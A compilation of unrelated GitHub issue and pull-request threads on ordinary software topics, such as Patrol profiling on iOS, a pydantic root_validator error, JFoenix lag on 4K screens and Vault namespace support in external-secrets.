I think Colins formatting is messed up

Weird. I literally copy-pasted and then changed. I'll open a follow up


Profiling the app with patrol

Steps to reproduce
Try to run the tests in profile mode on a physical iOS device.
Actual results
The patrol_cli exits with an error that It must be a release to run on a physical device. I want to get the performance related data on the binding and be able to use patrol at the same time.
Logs

Logs
<!-- Replace this line with your logs. Do not remove the backticks! -->

Patrol version
Both latest v1 and latest v2
Patrol Doctor output

Patrol Doctor output
Program adb found in /opt/homebrew/bin/adb
Env var $ANDROID_HOME set to /Users/ahmdaeyz/Library/Android/sdk
Program xcodebuild found in /usr/bin/xcodebuild
Program ideviceinstaller found in /opt/homebrew/bin/ideviceinstaller
Program ios-deploy found in /opt/homebrew/bin/ios-deploy

Flutter Doctor output

Flutter Doctor output
[!] Flutter (Channel stable, 3.10.5, on macOS 13.4.1 22F82 darwin-arm64, locale en-EG)
    • Flutter version 3.10.5 on channel stable at /Users/ahmdaeyz/development/flutter
    ! Warning: `dart` on your path resolves to /opt/homebrew/Cellar/dart/3.0.4/libexec/bin/dart, which is not inside your current Flutter SDK checkout at /Users/ahmdaeyz/development/flutter. Consider adding /Users/ahmdaeyz/development/flutter/bin to the front of your path.
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 796c8ef792 (4 weeks ago), 2023-06-13 15:51:02 -0700
    • Engine revision 45f6e00911
    • Dart version 3.0.5
    • DevTools version 2.23.1
    • If those were intentional, you can disregard the above warnings; however it is recommended to use "git" directly to perform update checks and upgrades.

[✓] Android toolchain - develop for Android devices (Android SDK version 33.0.0)
    • Android SDK at /Users/ahmdaeyz/Library/Android/sdk
    • Platform android-33, build-tools 33.0.0
    • ANDROID_HOME = /Users/ahmdaeyz/Library/Android/sdk
    • Java binary at: /Applications/Android Studio.app/Contents/jre/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 11.0.13+0-b1751.21-8125866)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 14.3.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Build 14E300c
    • CocoaPods version 1.11.3

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 2021.3)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 11.0.13+0-b1751.21-8125866)

[✓] VS Code (version 1.71.0)
    • VS Code at /Users/ahmdaeyz/Downloads/Visual Studio Code.app/Contents
    • Flutter extension version 3.64.0

[✓] VS Code (version 1.75.1)
    • VS Code at /Users/ahmdaeyz/Downloads/sympols/Visual Studio Code.app/Contents
    • Flutter extension version 3.64.0

[✓] Connected device (3 available)
    • Ahmed Aboelyazeed’s iPhone (mobile) • 00008030-000D7458348A802E • ios            • iOS 16.3.1 20D67
    • macOS (desktop)                     • macos                     • darwin-arm64   • macOS 13.4.1 22F82 darwin-arm64
    • Chrome (web)                        • chrome                    • web-javascript • Google Chrome 114.0.5735.198

[✓] Network resources
    • All expected network resources are available.

! Doctor found issues in 1 category.

Hi, this is not possible. To run tests on a physical iOS device, the Flutter app must be built in release mode.
Learn why here.

I haven't done much profiling of Flutter apps, so can't really answer that, sorry.
I guess the official docs are a good starting point. Also, why do you need Patrol when profiling? Is it because there're some native UI elements?

Did you have any success with profiling on Android?

Hi @ahmdaeyz, it appears that running Patrol tests on a physical iOS device in profile mode is possible.
I'll release the hotfix soon, so you'll be able to do:
patrol test --profile

Hello @bartekpacia
I've tried running android in profile but the assembleProfile task isn't actually ran. The debug task is the one that is ran. I'm using patrol v1 (because I have a very weird behavior with v2).
I've noticed that the report data doesn't get passed to the flutter driver too. I tried printing the reportData at the end of the test but using the summariser like the docs I sent earlier (at the end).


Fixing outdated storage test names and test cases.

Has #990 as diffbase

@dhermes ping me after #990 lands (a rebase would help review).

@tseaver Rebased (this does not depend on #991, so you can review in any order you wish)

LGTM


Modification Proposal to CoC

@willingc proposed this addition to CoC in previous P, linking to it from here not to forget.
https://github.com/jupyter/governance/pull/23#discussion_r95069937

Also noting suggestions request from @choldgraf and @yuvipanda


Root validator error

When running this snippet with version 1.8.2, I encounter the following:
Traceback (most recent call last):
  File "pydantic/main.py", line 408, in pydantic.main.BaseModel.__init__
TypeError: __dict__ must be set to a dictionary, not a 'NoneType'

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "pydantic/main.py", line 410, in pydantic.main.BaseModel.__init__
TypeError: Model values must be a dict; you may not have returned a dictionary from a root validator

I am encountering this error in any attempts to use root_validator.

There is an issue template for a reason... Snippets are run when building doc so if the output is different we need more information. Please recreate it and fill up the needed information
PS: a "hi" never hurts


ES6/ES7 errors in Webpack builds

When trying to produce a build that relies on a dependency using uws we're getting the following errors on the es7 "fat arrow" declaration:
SyntaxError:
Unexpected token:
punc ()) [/Users/melvin/Projects/trail-homepage/~/socketcluster-server/~/uws/uws.js:8,0]

uws.js:8,0:
const uws = (() => {
    try {
        return require(`./uws_${process.platform}_${process.versions.modules}`);
    } catch (e) {
        throw new Error('Compilation of µWebSockets has failed and there is no pre-compiled binary ' +
        'available for your system. Please install a supported C++11 compiler and reinstall the module \'uws\'.');
    }
})();

How can we make sure it runs in non-es6 environments?

Run it through Babel.

What version of Node.js are you running? We only support 4.x and up.

I was using Node 6.3 but it seems there was an error on my side in how I was running webpack.
Closing this.


[RN] Get guest credentials identity cached into AsyncStorage

Issue #, if available:
When reloading the app, the guest user will get a new identity id because the previous one is not cached. Fixes #383
Description of changes:
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Codecov Report

Merging #835 into master will decrease coverage by <.01%.
The diff coverage is 87.5%.

@@            Coverage Diff             @@
##           master     #835      +/-   ##
==========================================
- Coverage   87.72%   87.72%   -0.01%
==========================================
  Files          75       75
  Lines        3593     3600       +7
  Branches      683      684       +1
==========================================
+ Hits         3152     3158       +6
  Misses        419      419
- Partials       22       23       +1

Impacted Files
Coverage Δ

packages/aws-amplify/src/Auth/Auth.ts
88.27% <87.5%> (-0.03%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2bee05e...9880842. Read the comment docs.


Make Reallocate & Deallocate less permissive

Fixes #214

Most of the new tests use "error-pattern" rather than an embedded "//~ ERROR". I'd like to use the latter, but it doesn't work -- compiletest-rs does not seem to recognize the error message that miri prints, to it can't match the pattern.

Most of the new tests use "error-pattern" rather than an embedded "//~ ERROR". I'd like to use the latter, but it doesn't work -- compiletest-rs does not seem to recognize the error message that miri prints, to it can't match the pattern.

We could just move to UI tests, then we get the entire backtrace. Errors due to recursion limits and such should stay compile-fail tests though.
The issue with //~ ERROR is that that one specific line does not have an error, but the error is occurring down the callstack

confused I thought you wanted me to do some changes? (Like, change realloc to do alloc-copy-dealloc.)

That can  done in a future PR. It's only a simplification. The other changes are good, so I wanted to move them through. Also I forgot :P


Include timestamps in all events derived from Zigpy attribute_updated events

I think this is a lot of extra work introduced by https://github.com/zigpy/zigpy/pull/1205, which is used only for the database.

I think this is a lot of extra work introduced by zigpy/zigpy#1205, which is used only for the database.

I was thinking maybe this could allow us to prevent devices that flood the network (like the Tuya presence stuff) from overwhelming the application as well. Like throttling the events we emit based on some delta in timestamps. If we don't think it's worth it I can def drop this :)


Lag

Hello
I'm on a Macbook Pro retina, and my display is scaled so I have more room.
But when I resize the application to fit my whole screen, the application lags.
The rippler effects on buttons / tabs, and when changing tab it also lags.
Is this a known issue?
Do you want me to make a video to demonstrate it?
Thanks

Hello,
sure can you make a demonstration?

Due to recording everything is a bit slower, but you can see the difference:
video: http://d.pr/v/1dTKy
if not clear, I'll try to make a better video later this day :)

This might be a better video: http://d.pr/v/142OP

Well, I can see your point. But not sure how to reproduce (will try), if you can provide a sample example it would be great.
Regards,

Hello,
it seems there is an issue in JavaFX performance when increasing the size of the scene. maybe the high resolution of the Mac Pro is causing the lag.
Anyway, I did some updates regarding JFoenix optimization to improve performance, hope it helps in fixing the issue. you can download the latest version of JFoenix from the link:
http://www.jfoenix.com/download/jfoenix.jar
if the problem is not fixed, can you remove some nodes in your application in order to identify the node that is causing the issue?
Thanks,

Same issue,
I think the problem is JFoenix. I have a 4k screen and test your demo and also gluon-samples which based on material design.
The drawer lags in your demo but it's ok in gluon. I tried to scale down my resolution to 1080 and now there's no lag anymore.

can you upload a video testing JFoenix on 4K screen?
so we can identify if the lag is related to the drawer only or other controls.
Thanks,

Hello,
It seems the issue is related to javafx poor animation performance when having some effects (DropShadow) on the animated node.
http://stackoverflow.com/questions/14467719/what-is-the-best-way-to-display-millions-of-images-in-java
I removed the effect from the drawer side pane, and cached the tabpane node before animating it. the performance of your application, and JFoenix demo should be better when tested on 4K screen.
you can download the latest JFoenix jar using the following link:
http://www.jfoenix.com/download/jfoenix.jar
Regards,


[Feature] Design JOIN US Page

Description
@pooranjoyb
when i clicked on join us option in footer they redirect to /home/shpo/cart
we can create seperate route for that /join-us
Screenshots

something like this

Checklist

[X] I have checked the existing issues
[X] I have read the Contributing Guidelines
[X] I am willing to work on this issue (optional)

Congratulations, @dhruv8433! 🎉 Thank you for creating your issue. Your contribution is greatly appreciated and we look forward to working with you to resolve the issue. Keep up the great work!We will promptly review your changes and offer feedback. Keep up the excellent work! Kindly remember to check our contributing guidelines

I think Join Us thing is quite unnecessary for an eCommerce Website.
@Mahitej28 @AjayAsnani Do lmk if we can continue with this :)

Tell me in detail about this @dhruv8433 why this is important?

this is not needed for now as we don't have a complete product and still we are in the building phase.


[TACHYON-1121] Remove dependency on ReflectiveOperationException

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/5893/Failed Tests: 1org.tachyonproject:tachyon-integration-tests: 1tachyon.client.TachyonFileSystemIntegrationTest.deleteFileTest
Test FAILed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/5894/
Test PASSed.

Pushed another commit to make TachyonException abstract so that unwrapping becomes a lot simpler. I'm not sure if we even need to use unwrap any more - the initial TachyonException.of might be enough.
This is up here to get feedback. Before merging, I'd like to (1) add unit tests for TachyonException and (2) add a unit test to verify that all subclasses of TachyonException have String-only constructors.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/6024/
Test FAILed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/6025/
Test PASSed.

@aaudiber thanks for the PR, left you some comments ... also please resolve the merge conflicts

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/6095/
Test PASSed.

merging master didn't generate any conflicts, but github is now happy _(ツ)_/¯

Modulo one minor comment, this looks good to me. Thanks for the improvement!

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/6096/
Test FAILed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/6097/
Test PASSed.

LGTM +1

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/6098/
Test PASSed.

Thanks for the improvement. I left one comment.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/6115/
Test PASSed.

LGTM

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/Tachyon-Pull-Request-Builder/6205/
Test PASSed.


Unable to specify a Vault namespace in externalsecret manifest

We are using enterprise vault server where we have couple of vault namespaces. I was trying to integrate my vault server using extrernalsecret with specific vault namespace, unable to do the same. Can some one look into it or point me with correct config... cc. @silasbw @rxmarbles

We also have this requirement.

Namespace support added in #403, its configured centrally, not in an ExternalSecret. Does that help?

Closing this as support for namespace was added in #403, if you have other need reopen.

Thanks @Flydiverny @EricHorst , I am able to configure Vault  namespace with External secret and able to retrieve secrets from it.
cc @chefbob


Improve Dependencies Makefiles

This PR improves the dependencies Makefiles to make sure that if the dependency archive/directory is already existing, only to copy to ./lib (or other) is done and not the complete re-download + extraction.
This is particularly useful on Travis if we want to cache the dependencies folder.

The improvements of the dependencies makefiles allows now to cache the dependencies folder.
I took also advantage of this PR to improve the travis mechanism to use stages. This will make each part (e.g. tests and compilation for now) independent and speed up each independent part (by installing only the required apt/homebrew packages for examples).
Regular commit test: https://travis-ci.org/omichel/webots/builds/540676812?utm_source=github_status&utm_medium=notification
Daily test: https://travis-ci.org/omichel/webots/builds/540175722?utm_source=github_status&utm_medium=notification

test me

Build Passed :ok_hand:
You can safely merge 'enhancement-dependencies-makefiles' into 'revision'.

👍

:eyes: